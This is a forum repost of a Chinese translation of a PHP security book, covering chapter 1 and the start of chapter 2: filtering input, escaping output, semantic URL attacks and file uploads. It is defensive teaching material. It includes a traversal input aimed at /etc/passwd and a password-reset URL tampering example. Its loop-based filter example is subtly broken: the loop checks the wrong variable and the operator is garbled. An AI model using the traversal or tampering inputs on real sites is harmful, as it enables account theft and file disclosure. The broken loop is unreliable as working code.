16 12
发新话题
打印

php安全基础[1-8章]

php安全基础[1-8章]

目录:
第一章:简介

1.1.PHP功能
1.1.1. 全局变量注册
1.1.2. 错误报告
1.2.原则
1.2.1. 深度防范
1.2.2. 最小权限
1.2.3. 简单就是美
1.2.4. 暴露最小化
1.3. 方法
1.3.1. 平衡风险与可用性
1.3.2. 跟踪数据
1.3.3. 过滤输入
1.3.4. 输出转义
第二章 表单及URL
2.1. 表单与数据
2.2. 语义URL攻击
2.3. 文件上传攻击
2.4. 跨站脚本攻击
2.5. 跨站请求伪造
2.6. 欺骗表单提交
2.7. HTTP请求欺骗
第三章 数据库及SQL
3.1. 访问权限暴露
3.2. SQL 注入
3.3. 数据的暴露
第四章 会话与 Cookies
4.1. Cookie 盗窃
4.2. 会话数据暴露
4.3. 会话固定
4.4. 会话劫持
第五章 包含
5.1. 源码暴露
5.2. 后门URL
5.3. 文件名操纵
5.4. 代码注入
第六章 文件与命令
6.1. 文件系统跨越
6.2. 远程文件风险
6.3. 命令注入
第七章 验证与授权
7.1. 暴力攻击
7.2. 密码嗅探
7.3. 重播攻击
7.4. 永久登录
第八章 共享主机
8.1. 源码暴露
8.2. 会话数据暴露
8.3. 会话注入
8.4. 文件系统浏览
8.5. 安全模式
附录 A. 配置选项
附录B. 函数
附录C. 加密
1.1.PHP功能
   PHP有许多适合于WEB开发的功能。一些在其它语言中很难实现的普通工作在PHP中变得易如反掌,这有好处也有坏处。有一个功能比其它功能来更引人注目,这个功能就是register_globals。

1.1.1. 全局变量注册
       如果您还能记起早期WEB应用开发中使用C开发CGI程序的话,一定会对繁琐的表单处理深有体会。当PHP的register_globals配置选项打开时,复杂的原始表单处理不复存在,公用变量会自动建立。它让PHP编程变得容易和方便,但同时也带来了安全隐患。
       事实上,register_globals是无辜的,它并不会产生漏洞,同时还要开发者犯错才行。可是,有两个主要原因导致了您必须在开发和布署应用时关闭register_globals:

       第一,它会增加安全漏洞的数量;
       第二,隐藏了数据的来源,与开发者需要随时跟踪数据的责任相违背。

       本书中所有例子都假定register_globals已被关闭,用超级公用数组如$_GET 和 $_POST取而代之。使用这些数组几乎与register_globals开启时的编程方法同样方便,而其中的些许不便是值得的,因为它提高了程序的安全性。

小提示

       如果您必须要开发一个在register_globals开启的环境中布署的应用时,很重要的一点是您必须要初始化所有变量并且把error_reporting 设为 E_ALL(或 E_ALL | E_STRICT)以对未初始化变量进行警告。当register_globals开启时,任何使用未初始化变量的行为几乎就意味着安全漏洞。

1.1.2. 错误报告

       没有不会犯错的开发者,PHP的错误报告功能将协助您确认和定位这些错误。可以PHP提供的这些详细描述也可能被恶意攻击者看到,这就不妙了。使大众看不到报错信息,这一点很重要。做到这一点很容易,只要关闭display_errors,当然如果您希望得到出错信息,可以打开log_errors选项,并在error_log选项中设置出错日志文件的保存路径。
       由于出错报告的级别设定可以导致有些错误无法发现,您至少需要把error_reporting设为E_ALL(E_ALL | E_STRICT 是最高的设置, 提供向下兼容的建议, 如不建议使用的提示).
       所有的出错报告级别可以在任意级别进行修改,所以您如果使用的是共享的主机,没有权限对php.ini, httpd.conf, 或 .htaccess等配置文件进行更改时,您可以在程序中运行出错报告级别配置语句:

CODE:

  <?php

  ini_set('error_reporting', E_ALL | E_STRICT);
  ini_set('display_errors', 'Off');
  ini_set('log_errors', 'On');
  ini_set('error_log', '/usr/local/apache/logs/error_log');

  ?>

小提示
http://php.net/manual/ini.php 对php.ini的选项配置作了详尽的说明。

       PHP还允许您通过 set_error_handler( ) 函数指定您自已的出错处理函数:

CODE:

<?php

  set_error_handler('my_error_handler');

  ?>

       上面程序指定了您自已的出错处理函数my_error_handler( ); 下面是一个实际使用的示例:

CODE:

  <?php

  function my_error_handler($number, $string, $file, $line, $context)
  {
    $error = "=  ==  ==  ==  ==\nPHP ERROR\n=  ==  ==  ==  ==\n";
    $error .= "Number: [$number]\n";
    $error .= "String: [$string]\n";
    $error .= "File:   [$file]\n";
    $error .= "Line:   [$line]\n";
    $error .= "Context:\n" . print_r($context, TRUE) . "\n\n";

    error_log($error, 3, '/usr/local/apache/logs/error_log');
  }

  ?>

小提示
       PHP 5还允许向set_error_handler( )传递第二个参数以限定在什么出错情况下执行出定义的出错处理函数。比如,现在建立一个处理告警级别(warning)错误的函数:

CODE:

<?php
  set_error_handler('my_warning_handler', E_WARNING);
  ?>

    PHP5还提供了异常处理机制,详见http://php.net/exceptions

1.2.原则
     你可以列出一大堆开发安全应用的原则,但在本处我选取了我认为对PHP开发者最重要的几个原则。
     这些原则有意的写得抽象和理论化。这样做的目的是帮助你从大处着眼,不拘泥于细节。你需要把它们看成是你行动的指南。

1.2.1. 深度防范
       深度防范原则是安全专业人员人人皆知的原则,它说明了冗余安全措施的价值,这是被历史所证明的。
       深度防范原则可以延伸到其它领域,不仅仅是局限于编程领域。使用过备份伞的跳伞队员可以证明有冗余安全措施是多么的有价值,尽管大家永远不希望主伞失效。一个冗余的安全措施可以在主安全措施失效的潜在的起到重大作用。
       回到编程领域,坚持深度防范原则要求您时刻有一个备份方案。如果一个安全措施失效了,必须有另外一个提供一些保护。例如,在用户进行重要操作前进行重新用户认证就是一个很好的习惯,尽管你的用户认证逻辑里面没有已知缺陷。如果一个未认证用户通过某种方法伪装成另一个用户,提示录入密码可以潜在地避免未认证(未验证)用户进行一些关键操作。
       尽管深度防范是一个合理的原则,但是过度地增加安全措施只能增加成本和降低价值。

1.2.2. 最小权限
       我过去有一辆汽车有一个佣人钥匙。这个钥匙只能用来点火,所以它不能打开车门、控制台、后备箱,它只能用来启动汽车。我可以把它给泊车员(或把它留在点火器上),我确认这个钥匙不能用于其它目的。
       把一个不能打开控制台或后备箱的钥匙给泊车员是有道理的,毕竟,你可能想在这些地方保存贵重物品。但我觉得没有道理的是为什么它不能开车门。当然,这是因为我的观点是在于权限的收回。我是在想为什么泊车员被取消了开车门的权限。在编程中,这是一个很不好的观点。相反地,你应该考虑什么权限是必须的,只能给予每个人完成他本职工作所必须的尽量少的权限。
       一个为什么佣人钥匙不能打开车门的理由是这个钥匙可以被复制,而这个复制的钥匙在将来可能被用于偷车。这个情况听起来不太可能发生,但这个例子说明了不必要的授权会加大你的风险,即使是增加了很小权限也会如此。风险最小化是安全程序开发的主要组成部分。
       你无需去考虑一项权限被滥用的所有方法。事实上,你要预测每一个潜在攻击者的动作是几乎不可能的。

1.2.3. 简单就是美
       复杂滋生错误,错误能导致安全漏洞。这个简单的事实说明了为什么简单对于一个安全的应用来说是多么重要。没有必要的复杂与没有必要的风险一样糟糕。

例如,下面的代码摘自一个最近的安全漏洞通告:

CODE:

  <?php

  $search = (isset($_GET['search']) ? $_GET['search'] : '');

?>

       这个流程会混淆$search变量受污染*的事实,特别是对于缺乏经验的开发者而言。上面语句等价于下面的程序:

CODE:

  <?php

  $search = '';

  if (isset($_GET['search']))
  {
    $search = $_GET['search'];
  }

  ?>

       上面的两个处理流程是完全相同的。现在请注意一下下面的语句:

  $search = $_GET['search'];

       使用这一语句,在不影响流程的情况下,保证了$search变量的状态维持原样,同时还可以看出它是否受污染。

    * 译注:受污染变量,即在程序执行过程中,该变量的值不是由赋值语句直接指定值,而是来自其它来源,如控制台录入、数据库等。

1.2.4. 暴露最小化
      PHP应用程序需要在PHP与外部数据源间进行频繁通信。主要的外部数据源是客户端浏览器和数据库。如果你正确的跟踪数据,你可以确定哪些数据被暴露了。Internet是最主要的暴露源,这是因为它是一个非常公共的网络,您必须时刻小心防止数据被暴露在Internet上。
      数据暴露不一定就意味着安全风险。可是数据暴露必须尽量最小化。例如,一个用户进入支付系统,在向你的服务器传输他的信用卡数据时,你应该用SSL去保护它。如果你想要在一个确认页面上显示他的信用卡号时,由于该卡号信息是由服务器发向他的客户端的,你同样要用SSL去保护它。
      再谈谈上一小节的例子,显示信用卡号显然增加了暴露的机率。SSL确实可以降低风险,但是最佳的解决方案是通过只显示最后四位数,从而达到彻底杜绝风险的目的。
      为了降低对敏感数据的暴露率,你必须确认什么数据是敏感的,同时跟踪它,并消除所有不必要的数据暴露。在本书中,我会展示一些技巧,用以帮助你实现对很多常见敏感数据的保护。
1.3. 方法
      就像上一节中的原则一样,开发安全应用时,还有很多方法可以使用。下面提到的所有方法同样是我认为比较重要的。
      某些方法是抽象的,但每一个都有实例说明如何应用及其目的。
1.3.1. 平衡风险与可用性
      用户操作的友好性与安全措施是一对矛盾,在提高安全性的同时,通常会降低可用性。在你为不合逻辑的使用者写代码时,必须要考虑到符合逻辑的正常使用者。要达到适当的平衡的确很难,但是你必须去做好它,没有人能替代你,因为这是你的软件。
      尽量使安全措施对用户透明,使他们感受不到它的存在。如果实在不可能,就尽量采用用户比较常见和熟悉的方式来进行。例如,在用户访问受控信息或服务前让他们输入用户名和密码就是一种比较好的方式。
      当你怀疑可能有非法操作时,必须意识到你可能会搞借。例如,在用户操作时如果系统对用户身份有疑问时,通常用让用户再次录入密码。这对于合法用户来说只是稍有不便,而对于攻击者来说则是铜墙铁壁。从技术上来说,这与提示用户进行重新登录基本是一样的,但是在用户感受上,则有天壤之别。
      没有必要将用户踢出系统并指责他们是所谓的攻击者。当你犯错时,这些流程会极大的降低系统的可用性,而错误是难免的。
      在本书中,我着重介绍透明和常用的安全措施,同时我建议大家对疑似攻击行为做出小心和明智的反应。

1.3.2. 跟踪数据
      作为一个有安全意识的开发者,最重要的一件事就是随时跟踪数据。不只是要知道它是什么和它在哪里,还要知道它从哪里来,要到哪里去。有时候要做到这些是困难的,特别是当你对WEB的运做原理没有深入理解时。这也就是为什么尽管有些开发者在其它开发环境中很有经验,但他对WEB不是很有经验时,经常会犯错并制造安全漏洞。
      大多数人在读取EMAIL时,一般不会被题为"Re: Hello"之类的垃圾邮件所欺骗,因为他们知道,这个看起来像回复的主题是能被伪造的。因此,这封邮件不一定是对前一封主题为"Hello."的邮件的回复。简而言之,人们知道不能对这个主题不能太信任。但是很少有人意识到发件人地址也能被伪造,他们错误地认为它能可靠地显示这个EMAIL的来源。
      Web也非常类似,我想教给大家的其中一点是如何区分可信的和不可信的数据。做到这一点常常是不容易的,盲目的猜测并不是办法。
      PHP通过超级全局数组如$_GET, $_POST, 及$_COOKIE清楚地表示了用户数据的来源。一个严格的命名体系能保证你在程序代码的任何部分知道所有数据的来源,这也是我一直所示范和强调的。
      知道数据在哪里进入你的程序是极为重要的,同时知道数据在哪里离开你的程序也很重要。例如,当你使用echo指令时,你是在向客户端发送数据;当你使用mysql_query时,你是在向MySQL数据库发送数据(尽管你的目的可能是取数据)。
      在我审核PHP代码是否有安全漏洞时,我主要检查代码中与外部系统交互的部分。这部分代码很有可能包含安全漏洞,因此,在开发与代码检查时必须要加以特别仔细的注意。


1.3.3. 过滤输入
       过滤是Web应用安全的基础。它是你验证数据合法性的过程。通过在输入时确认对所有的数据进行过滤,你可以避免被污染(未过滤)数据在你的程序中被误信及误用。大多数流行的PHP应用的漏洞最终都是因为没有对输入进行恰当过滤造成的。

       我所指的过滤输入是指三个不同的步骤:
        识别输入
        过滤输入
        区分已过滤及被污染数据

       把识别输入做为第一步是因为如果你不知道它是什么,你也就不能正确地过滤它。输入是指所有源自外部的数据。例如,所有发自客户端的是输入,但客户端并不是唯一的外部数据源,其它如数据库和RSS推送等也是外部数据源。
       由用户输入的数据非常容易识别,PHP用两个超级公用数组$_GET 和$_POST来存放用户输入数据。其它的输入要难识别得多,例如,$_SERVER数组中的很多元素是由客户端所操纵的。常常很难确认$_SERVER数组中的哪些元素组成了输入,所以,最好的方法是把整个数组看成输入。
       在某些情况下,你把什么作为输入取决于你的观点。例如,session数据被保存在服务器上,你可能不会认为session数据是一个外部数据源。如果你持这种观点的话,可以把session数据的保存位置是在你的软件的内部。意识到session的保存位置的安全与软件的安全是联系在一起的事实是非常明智的。同样的观点可以推及到数据库,你也可以把它看成你软件的一部分。
       一般来说,把session保存位置与数据库看成是输入是更为安全的,同时这也是我在所有重要的PHP应用开发中所推荐的方法。
       一旦识别了输入,你就可以过滤它了。过滤是一个有点正式的术语,它在平时表述中有很多同义词,如验证、清洁及净化。尽管这些大家平时所用的术语稍有不同,但它们都是指的同一个处理:防止非法数据进入你的应用。
       有很多种方法过滤数据,其中有一些安全性较高。最好的方法是把过滤看成是一个检查的过程。请不要试图好心地去纠正非法数据,要让你的用户按你的规则去做,历史证明了试图纠正非法数据往往会导致安全漏洞。例如,考虑一下下面的试图防止目录跨越的方法(访问上层目录)。

CODE:

<?php
  $filename = str_replace('..', '.', $_POST['filename']);
  ?>

       你能想到$_POST['filename']如何取值以使$filename成为Linux系统中用户口令文件的路径../../etc/passwd吗?

       答案很简单:
  .../.../etc/passwd

       这个特定的错误可以通过反复替换直至找不到为止:

CODE:
  <?php
  $filename = $_POST['filename'];
  while (strpos($_POST['filename'], '..') !=  = FALSE)
  {
    $filename = str_replace('..', '.', $filename);
  }
  ?>
       当然,函数basename( )可以替代上面的所有逻辑,同时也能更安全地达到目的。不过重要点是在于任何试图纠正非法数据的举动都可能导致潜在错误并允许非法数据通过。只做检查是一个更安全的选择。

      译注:这一点深有体会,在实际项目曾经遇到过这样一件事,是对一个用户注册和登录系统进行更改,客户希望用户名前后有空格就不能登录,结果修改时对用户登录程序进行了更改,用trim()函数把输入的用户名前后的空格去掉了(典型的好心办坏事),但是在注册时居然还是允许前后有空格!结果可想而知。
       除了把过滤做为一个检查过程之外,你还可以在可能时用白名单方法。它是指你需要假定你正在检查的数据是非法的,除非你能证明它是合法的。换而言之,你宁可在小心上犯错。使用这个方法,一个错误只会导致你把合法的数据当成是非法的。尽管不想犯任何错误,但这样总比把非法数据当成合法数据要安全得多。通过减轻犯错引起的损失,你可以提高你的应用的安全性。尽管这个想法在理论上是很自然的,但历史证明,这是一个很有价值的方法。
       如果你能正确可靠地识别和过滤输入,你的工作就基本完成了。最后一步是使用一个命名约定或其它可以帮助你正确和可靠地区分已过滤和被污染数据的方法。我推荐一个比较简单的命名约定,因为它可以同时用在面向过程和面向对象的编程中。我用的命名约定是把所有经过滤的数据放入一个叫$clean的数据中。你需要用两个重要的步骤来防止被污染数据的注入:

l        经常初始化$clean为一个空数组。
        加入检查及阻止来自外部数据源的变量命名为clean,

       实际上,只有初始化是至关紧要的,但是养成这样一个习惯也是很好的:把所有命名为clean的变量认为是你的已过滤数据数组。这一步骤合理地保证了$clean中只包括你有意保存进去的数据,你所要负责的只是不在$clean存在被污染数据。

       为了巩固这些概念,考虑下面的表单,它允许用户选择三种颜色中的一种;
CODE:

<form action="process.php" method="POST">
  Please select a color:
  <select name="color">
    <option value="red">red</option>
    <option value="green">green</option>
    <option value="blue">blue</option>
  </select>
  <input type="submit" />
  </form>

       在处理这个表单的编程逻辑中,非常容易犯的错误是认为只能提交三个选择中的一个。在第二章中你将学到,客户端能提交任何数据作为$_POST['color']的值。为了正确地过滤数据,你需要用一个switch语句来进行:
CODE:

  <?php
  $clean = array(  );
  switch($_POST['color'])
  {
    case 'red':
    case 'green':
    case 'blue':
      $clean['color'] = $_POST['color'];
      break;
  }
  ?>
       本例中首先初始化了$clean为空数组以防止包含被污染的数据。一旦证明$_POST['color']是red, green, 或blue中的一个时,就会保存到$clean['color']变量中。因此,可以确信$clean['color']变量是合法的,从而在代码的其它部分使用它。当然,你还可以在switch结构中加入一个default分支以处理非法数据的情况。一种可能是再次显示表单并提示错误。特别小心不要试图为了友好而输出被污染的数据。
       上面的方法对于过滤有一组已知的合法值的数据很有效,但是对于过滤有一组已知合法字符组成的数据时就没有什么帮助。例如,你可能需要一个用户名只能由字母及数字组成:

CODE:

<?php
  $clean = array(  );
  if (ctype_alnum($_POST['username']))
  {
    $clean['username'] = $_POST['username'];
  }
  ?>
       尽管在这种情况下可以用正则表达式,但使用PHP内置函数是更完美的。这些函数包含错误的可能性要比你自已写的代码出错的可能性要低得多,而且在过滤逻辑中的一个错误几乎就意味着一个安全漏洞。
1.3.4. 输出转义
       另外一个Web应用安全的基础是对输出进行转义或对特殊字符进行编码,以保证原意不变。例如,O'Reilly在传送给MySQL数据库前需要转义成O\'Reilly。单引号前的反斜杠代表单引号是数据本身的一部分,而不是并不是它的本义。
       我所指的输出转义具体分为三步:
l        识别输出
l        输出转义
l        区分已转义与未转义数据

      只对已过滤数据进行转义是很有必要的。尽管转义能防止很多常见安全漏洞,但它不能替代输入过滤。被污染数据必须首先过滤然后转义。
      在对输出进行转义时,你必须先识别输出。通常,这要比识别输入简单得多,因为它依赖于你所进行的动作。例如,识别到客户端的输出时,你可以在代码中查找下列语句:

echo
print
printf
<?=

       作为一项应用的开发者,你必须知道每一个向外部系统输出的地方。它们构成了输出。
       象过滤一样,转义过程在依情形的不同而不同。过滤对于不同类型的数据处理方法也是不同的,转义也是根据你传输信息到不同的系统而采用不同的方法。
       对于一些常见的输出目标(包括客户端、数据库和URL)的转义,PHP中有内置函数可用。如果你要写一个自己算法,做到万无一失很重要。需要找到在外系统中特殊字符的可靠和完整的列表,以及它们的表示方式,这样数据是被保留下来而不是转译了。
       最常见的输出目标是客户机,使用htmlentities( )在数据发出前进行转义是最好的方法。与其它字符串函数一样,它输入是一个字符串,对其进行加工后进行输出。但是使用htmlentities( )函数的最佳方式是指定它的两个可选参数:引号的转义方式(第二参数)及字符集(第三参数)。引号的转义方式应该指定为ENT_QUOTES,它的目的是同时转义单引号和双引号,这样做是最彻底的,字符集参数必须与该页面所使用的字符集相必配。
      为了区分数据是否已转义,我还是建议定义一个命名机制。对于输出到客户机的转义数据,我使用$html数组进行存储,该数据首先初始化成一个空数组,对所有已过滤和已转义数据进行保存。
CODE:

<?php
  $html = array(  );
  $html['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8');
  echo "<p>Welcome back, {$html['username']}.</p>";
  ?>

小提示
       htmlspecialchars( )函数与htmlentities( )函数基本相同,它们的参数定义完全相同,只不过是htmlentities( )的转义更为彻底。
       通过$html['username']把username输出到客户端,你就可以确保其中的特殊字符不会被浏览器所错误解释。如果username只包含字母和数字的话,实际上转义是没有必要的,但是这体现了深度防范的原则。转义任何的输出是一个非常好的习惯,它可以戏剧性地提高你的软件的安全性。
       另外一个常见的输出目标是数据库。如果可能的话,你需要对SQL语句中的数据使用PHP内建函数进行转义。对于MySQL用户,最好的转义函数是mysql_real_escape_string( )。如果你使用的数据库没有PHP内建转义函数可用的话,addslashes( )是最后的选择。
       下面的例子说明了对于MySQL数据库的正确的转义技巧:
CODE:

<?php
  $mysql = array(  );
  $mysql['username'] = mysql_real_escape_string($clean['username']);
  $sql = "SELECT *
          FROM   profile
          WHERE  username = '{$mysql['username']}'";
  $result = mysql_query($sql);
  ?>



[ 本帖最后由 xiaojie5525 于 2007-4-2 09:17 编辑 ]
第二章 表单及URL  本章主要讨论表单处理,同时还有在处理来自表单和URL数据时需要加以注意的最常见的攻击类型。你可以学到例如跨站脚本攻击(XSS)及跨站请求伪造(CSRF)等攻击方式,同时还能学到如何手工制作欺骗表单及HTTP请求。
  通过本章的学习,你不仅可以看到这些攻击方法的实例,而且可以学到防范它们的方法。

小提示
  跨站脚本攻击漏洞的产生主要是由于你误用了被污染的数据。虽说大多数应用的主要输入源是用户,但任何一个远程实体都可以向你的软件输入恶意数据。本章中所描述的多数方法直接适于用于处理任何一个远程实体的输入,而不仅仅是用户。关于输入的过滤详见第一章。

2.1. 表单与数据
       在典型的PHP应用开发中,大多数的逻辑涉及数据处理任务,例如确认用户是否成功登录,在购物车中加入商品及处理信用卡交易。
       数据可能有无数的来源,做为一个有安全意识的开发者,你需要简单可靠地区分两类数据:

l        已过滤数据
l        被污染数据

       所有你自己设定的数据可信数据,可以认为是已过滤数据。一个你自己设定的数据是任何的硬编码数据,例如下面的email地址数据:

  $email = 'chris@example.org';

       上面的Email地址chris@example.org并不来自任何远程数据源。显而易见它是可信的。任何来自远程数据源的数据都是输入,而所有的输入数据都是被污染的,必须在要在使用前对其进行过滤。

       被污染数据是指所有不能保证合法的数据,例如用户提交的表单,从邮件服务器接收的邮件,及其它web应用中发送过来的xml文档。在前一个例子中,$email是一个包含有已过滤数据的变量。数据是关键,而不是变量。变量只是数据的容器,它往往随着程序的执行而为被污染数据所覆盖:
  $email = $_POST['email'];

       当然,这就是$email叫做变量的原因,如果你不希望数据进行变化,可以使用常量来代替:
CODE:

define('EMAIL', 'chris@example.org');
       如果用上面的语句进行定义,EMAIL在整个脚本运行中是一个值为chris@example.org的不变的常量,甚至在你把试图把它重新赋值时也不会改变(通常是不小心)。例如,下面的代码输出为chris@example.org (试图重定义一个常量会引起一个级别为Notice的报错信息)。
CODE:

<?php

  define('EMAIL', 'chris@example.org');
  define('EMAIL', 'rasmus@example.org');
  echo EMAIL;

  ?>

小提示
       欲更多了解常量, 请访问 http://php.net/constants.

       正如第一章中所讨论过的,register_globals可使确定一个变量如$email的来源变得十分困难。所有来自外部数据源的数据在被证明合法前都应该被认为被污染的。
       尽管一个用户能用多种方式发送数据,大多数应用还是依据表单的提交结果进行最重要的操作。另外一个攻击者只要通过操纵提交数据(你的应用进行操作的依据)即可危害,而表单向他们方便地开放了你的应用的设计方案及你需要使用的数据。这也是表单处理是所有Web应用安全问题中的首先要关心的问题的原因。
       一个用户可以通过三种方式您的应用传输数据:

l        通过URL(如GET数据方式)
l        通过一个请求的内容(如POST数据方式)
l        通过HTTP头部信息(如Cookie)

       由于HTTP头部信息并不与表单处理直接相关,在本章中不作讨论。通常,对GET与POST数据的怀疑可以推及到所有输入,包括HTTP头部信息。

       表单通过GET或POST请求方式传送数据。当你建立了一个HTML表单,你需要在form标签的method属性中指定请求方式:

  <form action="http://example.org/register.php" method="GET">

       在前例中,请求方式被指定为GET,浏览器将通过URL的请求串部分传输数据,例如,考虑下面的表单:
CODE:

<form action="http://example.org/login.php" method="GET">
  <p>Username: <input type="text" name="username" /></p>
  <p>Password: <input type="password" name="password" /></p>
  <p><input type="submit" /></p>
  </form>
      如果我输入了用户名chris和密码mypass,在表单提交后,我会到达URL为http://example.org/login.php?username=chris&amp;password=mypass的页面。该URL最简单的合法HTTP/1.1请求信息如下:
CODE:

  GET /login.php?username=chris&password=mypass HTTP/1.1
  Host: example.org
      并不是必须要使用HTML表单来请求这个URL,实际上通过HTML表单的GET请求方式发送数据与用户直接点击链接并没有什么不同。
      记住如果你在GET方式提交的表单中的action中试图使用请求串,它会被表单中的数据所取代。
      而且,如果你指定了一个非法的请求方式,或者请求方式属性未写,浏览器则会默认以GET方式提交数据。
      为说明POST请求方式,只对上例进行简单的更改,考虑把GET请求方式更改为POST的情况:
CODE:

  <form action="http://example.org/login.php" method="POST">
  <p>Username: <input type="text" name="username" /></p>
  <p>Password: <input type="password" name="password" /></p>
  <p><input type="submit" /></p>
  </form>
      如果我再次指定用户名chris和密码mypass,在提交表单后,我会来到http://example.org/login.php页面。表单数据在请求的内部而不是一个URL的请求串。该方式最简单的合法HTTP/1.1请求信息如下
CODE:

POST /login.php HTTP/1.1
  Host: example.org
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 30

  username=chris&password=mypass

      现在你已看到用户向你的应用提供数据的主要方式。在下面的小节中,我们将会讨论攻击者是如何利用你的表单和URL作为进入你的应用的缺口的。

2.2. 语义URL攻击
      好奇心是很多攻击者的主要动机,语义URL攻击就是一个很好的例子。此类攻击主要包括对URL进行编辑以期发现一些有趣的事情。例如,如果用户chris点击了你的软件中的一个链接并到达了页面http://example.org/private.php?user=chris, 很自然地他可能会试图改变user的值,看看会发生什么。例如,他可能访问http://example.org/private.php?user=rasmus来看一下他是否能看到其他人的信息。虽然对GET数据的操纵只是比对POST数据稍为方便,但它的暴露性决定了它更为频繁的受攻击,特别是对于攻击的新手而言。
      大多数的漏洞是由于疏漏而产生的,而不是特别复杂的原因引起的。虽然很多有经验的程序员能轻易地意识到上面所述的对URL的信任所带来的危险,但是常常要到别人指出才恍然大悟。
      为了更好地演示语义URL攻击及漏洞是如何被疏忽的,以一个Webmail系统为例,该系统主要功能是用户登录察看他们自己的邮件。任何基于用户登录的系统都需要一个密码找回机制。通常的方法是询问一个攻击者不可能知道的问题(如你的计算机的品牌等,但如果能让用户自己指定问题和答案更佳),如果问题回答正确,则把新的密码发送到注册时指定的邮件地址。
      对于一个Webmail系统,可能不会在注册时指定邮件地址,因此正确回答问题的用户会被提示提供一个邮件地址(在向该邮件地址发送新密码的同时,也可以收集备用邮件地址信息)。下面的表单即用于询问一个新的邮件地址,同时他的帐户名称存在表单的一个隐藏字段中:
CODE:

  <form action="reset.php" method="GET">
  <input type="hidden" name="user" value="chris" />
  <p>Please specify the email address where you want your new password sent:</p>
  <input type="text" name="email" /><br />
  <input type="submit" value="Send Password" />
  </form>
      可以看出,接收脚本reset.php会得到所有信息,包括重置哪个帐号的密码、并给出将新密码发送到哪一个邮件地址。
      如果一个用户能看到上面的表单(在回答正确问题后),你有理由认为他是chris帐号的合法拥有者。如果他提供了chris@example.org作为备用邮件地址,在提交后他将进入下面的URL:
CODE:

  http://example.org/reset.php?user=chris&amp;email=chris%40example.org
      该URL出现在浏览器栏中,所以任何一位进行到这一步的用户都能够方便地看出其中的user和mail变量的作用。当意思到这一点后,这位用户就想到php@example.org是一个非常酷的地址,于是他就会访问下面链接进行尝试:
CODE:

  http://example.org/reset.php?user=php&amp;email=chris%40example.org
      如果reset.php信任了用户提供的这些信息,这就是一个语义URL攻击漏洞。在此情况下,系统将会为php帐号产生一个新密码并发送至chris@example.org,这样chris成功地窃取了php帐号。
      如果使用session跟踪,可以很方便地避免上述情况的发生:
CODE:

  <?php

  session_start();

  $clean = array();
  $email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';

  if (preg_match($email_pattern, $_POST['email']))
  {
    $clean['email'] = $_POST['email'];
    $user = $_SESSION['user'];
    $new_password = md5(uniqid(rand(), TRUE));

    if ($_SESSION['verified'])
    {
      /* Update Password */

      mail($clean['email'], 'Your New Password', $new_password);
    }
  }

  ?>
      尽管上例省略了一些细节(如更详细的email信息或一个合理的密码),但它示范了对用户提供的帐户不加以信任,同时更重要的是使用session变量为保存用户是否正确回答了问题($_SESSION['verified']),以及正确回答问题的用户($_SESSION['user'])。正是这种不信任的做法是防止你的应用产生漏洞的关键。
      这个实例并不是完全虚构的。它是从2003年5月发现的Microsoft Passport的漏洞中得到的灵感。请访问http://slashdot.org/article.pl?sid=03/05/08/122208 看具体实例、讨论及其它信息。


2.3. 文件上传攻击
  有时在除了标准的表单数据外,你还需要让用户进行文件上传。由于文件在表单中传送时与其它的表单数据不同,你必须指定一个特别的编码方式multipart/form-data:
CODE:

<form action="upload.php" method="POST" enctype="multipart/form-data">
一个同时有普通表单数据和文件的表单是一个特殊的格式,而指定编码方式可以使浏览器能按该可格式的要求去处理。
  允许用户进行选择文件并上传的表单元素是很简单的:
CODE:

<input type="file" name="attachment" />
该元素在各种浏览器中的外观表现形式各有不同。传统上,界面上包括一个标准的文本框及一个浏览按钮,以使用户能直接手工录入文件的路径或通过浏览选择。在Safari浏览器中只有浏览按钮。幸运的是,它们的作用与行为是相同的。
  为了更好地演示文件上传机制,下面是一个允许用户上传附件的例子:
CODE:

  <form action="upload.php" method="POST" enctype="multipart/form-data">
  <p>Please choose a file to upload:
  <input type="hidden" name="MAX_FILE_SIZE" value="1024" />
  <input type="file" name="attachment" /><br />
  <input type="submit" value="Upload Attachment" /></p>
  </form>
隐藏的表单变量MAX_FILE_SIZE告诉了浏览器最大允许上传的文件大小。与很多客户端限制相同,这一限制很容易被攻击者绕开,但它可以为合法用户提供向导。在服务器上进行该限制才是可靠的。
  PHP的配置变量中,upload_max_filesize控制最大允许上传的文件大小。同时post_max_size(POST表单的最大提交数据的大小)也能潜在地进行控制,因为文件是通过表单数据进行上传的。
  接收程序upload.php显示了超级全局数组$_FILES的内容:
CODE:

<?php

  header('Content-Type: text/plain');
  print_r($_FILES);

  ?>
为了理解上传的过程,我们使用一个名为author.txt的文件进行测试,下面是它的内容:
CODE:

  Chris Shiflett
  http://shiflett.org/
当你上传该文件到upload.php程序时,你可以在浏览器中看到类似下面的输出:
CODE:

  Array
  (
      [attachment] => Array
          (
              [name] => author.txt
              [type] => text/plain
              [tmp_name] => /tmp/phpShfltt
              [error] => 0
              [size] => 36
          )

  )
虽然从上面可以看出PHP实际在超级全局数组$_FILES中提供的内容,但是它无法给出表单数据的原始信息。作为一个关注安全的开发者,需要识别输入以知道浏览器实际发送了什么,看一下下面的HTTP请求信息是很有必要的:
CODE:

POST /upload.php HTTP/1.1
  Host: example.org
  Content-Type: multipart/form-data; boundary=----------12345
  Content-Length: 245

  ----------12345
  Content-Disposition: form-data; name="attachment"; filename="author.txt"
  Content-Type: text/plain

  Chris Shiflett
  http://shiflett.org/

  ----------12345
  Content-Disposition: form-data; name="MAX_FILE_SIZE"

  1024
  ----------12345--
虽然你没有必要理解请求的格式,但是你要能识别出文件及相关的元数据。用户只提供了名称与类型,因此tmp_name,error及size都是PHP所提供的。
  由于PHP在文件系统的临时文件区保存上传的文件(本例中是/tmp/phpShfltt),所以通常进行的操作是把它移到其它地方进行保存及读取到内存。如果你不对tmp_name作检查以确保它是一个上传的文件(而不是/etc/passwd之类的东西),存在一个理论上的风险。之所以叫理论上的风险,是因为没有一种已知的攻击手段允许攻击者去修改tmp_name的值。但是,没有攻击手段并不意味着你不需要做一些简单的安全措施。新的攻击手段每天在出现,而简单的一个步骤能保护你的系统。
  PHP提供了两个方便的函数以减轻这些理论上的风险:is_uploaded_file( ) and move_uploaded_file( )。如果你需要确保tmp_name中的文件是一个上传的文件,你可以用is_uploaded_file( ):
CODE:

  <?php

  $filename = $_FILES['attachment']['tmp_name'];

  if (is_uploaded_file($filename))
  {
    /* $_FILES['attachment']['tmp_name'] is an uploaded file. */
  }

  ?>
